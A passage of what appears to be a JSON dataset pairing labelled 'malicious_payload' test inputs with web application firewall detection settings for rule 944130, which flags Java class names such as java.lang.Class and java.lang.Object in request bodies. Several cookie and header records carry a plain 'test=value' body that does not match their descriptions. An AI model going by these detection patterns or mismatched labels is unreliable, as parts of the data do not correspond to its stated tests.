"REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Request header test includes keyword java.lang.Class" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"java.lang.Class\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML attribute value includes keyword java.lang.Class" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">java.lang.Class</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML element value includes keyword java.lang.Class" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">java.lang.Class</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Nested XML element value includes keyword java.lang.Class" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.lang.Class" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type text/plain includes keyword java.lang.Class" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"java.lang.Class\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg value includes keyword java.lang.Class" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"java.lang.Class\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg name includes keyword java.lang.Class" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.lang.Integer" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument test includes keyword java.lang.Integer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "java.lang.Integer=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument name includes keyword java.lang.Integer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie test includes keyword java.lang.Integer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie name includes keyword java.lang.Integer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Request header test includes keyword java.lang.Integer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"java.lang.Integer\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML attribute value includes keyword java.lang.Integer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">java.lang.Integer</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML element value includes keyword java.lang.Integer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">java.lang.Integer</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Nested XML element value includes keyword java.lang.Integer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.lang.Integer" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type text/plain includes keyword java.lang.Integer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"java.lang.Integer\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg value includes keyword java.lang.Integer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"java.lang.Integer\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg name includes keyword java.lang.Integer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.lang.Number" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument test includes keyword java.lang.Number" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "java.lang.Number=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument name includes keyword java.lang.Number" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie test includes keyword java.lang.Number" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie name includes keyword java.lang.Number" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Request header test includes keyword java.lang.Number" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"java.lang.Number\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML attribute value includes keyword java.lang.Number" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">java.lang.Number</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML element value includes keyword java.lang.Number" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">java.lang.Number</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Nested XML element value includes keyword java.lang.Number" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.lang.Number" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type text/plain includes keyword java.lang.Number" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"java.lang.Number\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg value includes keyword java.lang.Number" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"java.lang.Number\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg name includes keyword java.lang.Number" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.lang.Object" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument test includes keyword java.lang.Object" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "java.lang.Object=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument name includes keyword java.lang.Object" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie test includes keyword java.lang.Object" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } 